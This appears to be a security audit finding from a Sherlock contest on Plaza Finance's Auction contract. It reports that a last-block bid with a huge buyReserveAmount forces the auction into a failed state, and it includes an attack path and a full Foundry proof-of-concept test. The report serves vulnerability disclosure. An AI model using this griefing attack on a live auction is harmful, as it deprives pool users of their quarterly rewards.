Muscular Lavender Pelican

Medium

# Attacker can set a very high `buyReserveAmount` in a bid so that the sale limit is reached and intentionally cause an auction to fail

### Summary

There is no check in the bid function to verify that the `buyReserveAmount` is less than the sale limit. This allows an attacker to set a very high amount for `buyReserveAmount`, which causes `endAuction` to set the auction to a failed state, resulting in users in the pool not receiving their rewards.

### Root Cause

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L125-L129
At the beginning of the bid function, there are indeed some checks, including one that verifies that `buyReserveAmount` does not exceed a maximum. The problem here is that `MAX_BID_AMOUNT` is set to 1e50, which isn't very effective because, with such a high amount, an attacker could likely cause an auctions to fail.
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L151
Here in the bid function the `buyReserveAmount` is added to the `totalSellReserveAmount`, which makes it very large.
https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L341-L342
`endAuction` then checks whether the `totalSellReserveAmount` is greater than the sale limit. This check will most likely not pass if `totalSellReserveAmount` is very high. This then leads to the pool being set to a failed state.

### Internal Pre-conditions

1. The attacker may have to invest coupon tokens when placing his bid in order for it to remain in the auction. But he gets the coupon tokens back if the auction fails.
2. The attacker's bid should be placed in the block before the auction ends so that it cann't be contested.

### External Pre-conditions

No interactions with external contracts

### Attack Path

1. An auction is started.  
2. Some users place bids
3. In the block before the auction ends, an attacker who wants the auction to fail places a bid with a `buyReserveAmount` of 1e49 and a coupon amount of 1 wei.  
4. `endAuction` is called and reverts because 1e49 + the other bids far exceeds the sale limit.

### Impact

An attacker can intentionally cause some auctions to fail. If this happens more often, users will receive fewer rewards since an auction only takes place once a quarter.

### PoC

1. A new test file must be created in the test directory
2. The following code for the POC must be copied there:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Auction} from "../src/Auction.sol";
import {Utils} from "../src/lib/Utils.sol";
import {MockPool} from "./mocks/MockPool.sol";
import {BondToken} from "../src/BondToken.sol";
import {TestCases} from "./data/TestCases.sol";
import {Decimals} from "../src/lib/Decimals.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Distributor} from "../src/Distributor.sol";
import {OracleFeeds} from "../src/OracleFeeds.sol";
import {Validator} from "../src/utils/Validator.sol";
import {OracleReader} from "../src/OracleReader.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {MockPriceFeed} from "./mocks/MockPriceFeed.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {PreDeposit} from "../src/PreDeposit.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract PoolTest is Test, TestCases {
    using Decimals for uint256;
    using Strings for uint256;

    address alice = address(1337);
    address bob = address(1338);
    address chad = address(1339);

    PoolFactory private poolFactory;
    PoolFactory.PoolParams private params;

    PreDeposit preDeposit;

    MockPriceFeed private mockPriceFeed;
    address private oracleFeedsContract;

    address private deployer = address(0x1);
    address private minter = address(0x2);
    address private governance = address(0x3);
    address private securityCouncil = address(0x4);
    address private user = address(0x5);
    address private user2 = address(0x6);

    address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);
    uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10**8;
    uint8 private constant CHAINLINK_DECIMAL = 8;
    
    // ============= Setup =============
    function setUp() public {
        vm.startPrank(deployer);
        address contractDeployer = address(new Deployer());
        oracleFeedsContract = address(new OracleFeeds());

        address poolBeacon = address(new UpgradeableBeacon(address(new MockPool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
        PoolFactory.initialize, 
        (governance, contractDeployer, oracleFeedsContract, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
        )));

        params.fee = 1000;
        params.feeBeneficiary = governance;
        params.reserveToken = address(new Token("Wrapped ETH", "WETH", false));
        params.sharesPerToken = 50 * 10 ** 6;
        params.distributionPeriod = 91 days;
        params.couponToken = address(new Token("USDC", "USDC", false));

        Token(params.couponToken).setDecimals(6);
        Token(params.couponToken).mint(governance, 1_000_000e6);
        Token(params.couponToken).mint(alice, 1_000_000e6);
        Token(params.couponToken).mint(bob, 1_000_000e6);
        Token(params.couponToken).mint(chad, 1_000_000e6);
        Token(params.reserveToken).mint(governance, 1_000_000e18);
        Token(params.reserveToken).mint(alice, 1_000_000e18);
        Token(params.reserveToken).mint(bob, 1_000_000e18);
        Token(params.reserveToken).mint(chad, 1_000_000e18);
        
        OracleFeeds(oracleFeedsContract).setPriceFeed(params.reserveToken, address(0), ethPriceFeed, 1 days);

        // Deploy the mock price feed
        mockPriceFeed = new MockPriceFeed();

        // Use vm.etch to deploy the mock contract at the specific address
        bytes memory bytecode = address(mockPriceFeed).code;
        vm.etch(ethPriceFeed, bytecode);

        // Set oracle price
        mockPriceFeed = MockPriceFeed(ethPriceFeed);
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));
        vm.stopPrank();

        vm.startPrank(governance);
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);
        poolFactory.grantRole(poolFactory.SECURITY_COUNCIL_ROLE(), securityCouncil);
        vm.stopPrank();
    }

    function standardSetup() public returns(Token, Token, BondToken, LeverageToken, Pool){
        Token rToken = Token(params.reserveToken);
        Token usdc = Token(params.couponToken);

        vm.startPrank(governance);
        rToken.approve(address(poolFactory), 0.1e18);

        Pool pool = Pool(poolFactory.createPool(
            params,
            0.1e18,
            2e18,
            2e18,
            "BToken",
            "BT",
            "LToken",
            "LT",
            false
        ));

        pool.setAuctionPeriod(10 days);
        vm.stopPrank();

        BondToken bToken = BondToken(pool.bondToken());
        LeverageToken lToken = LeverageToken(pool.lToken());

        return (rToken, usdc, bToken, lToken, pool);
    }

    function setupWithRealCouponAmount() public returns(Token, Token, BondToken, LeverageToken, Pool) {
        params.sharesPerToken = 2.5e6;
        (Token rToken, Token usdc, BondToken bToken, LeverageToken lToken, Pool pool) = standardSetup();

        return (rToken, usdc, bToken, lToken, pool);
    }

    function test_POC() public {
        (Token rToken, Token usdc, BondToken bToken, LeverageToken lToken, Pool pool) = setupWithRealCouponAmount();

        vm.startPrank(alice);
        console.log("\n====== Alice creates position with 20e18 ======");
        rToken.approve(address(pool), 20e18);
        pool.create( //Alice mints bondETH
            Pool.TokenType.BOND,
            20e18,
            0
        );
        vm.stopPrank();

        vm.warp(block.timestamp + 92 days);

        vm.startPrank(bob);
        console.log("\n====== Bob starts auction ======");
        pool.startAuction(); //Bob starts auction
        Auction auction = Auction(pool.auctions(0));

        console.log("\n====== Bob places his bid ======");
        usdc.approve(address(auction), 1505000);
        auction.bid( //Bob bids a very high reserve token amount which is much higher than the balance that the pool has
            1e49,
            1505000 //Mininmal amount that can be bid
        );
        vm.stopPrank();

        vm.startPrank(chad);
        console.log("\n====== Chad places his bid ======");
        usdc.approve(address(auction), 1505e6);
        auction.bid( //Chad places a bid so that the totalBuyCouponAmount is reached
            5e18,
            1503495000
        );

        vm.warp(block.timestamp + 11 days);

        auction.endAuction();

        console.log("auction state: ", uint256(auction.state())); //3 = failed because of sale limit
        vm.stopPrank();
    }
}
```
3. The POC can be started with the command `forge test --mt test_POC -vv`

### Mitigation

_No response_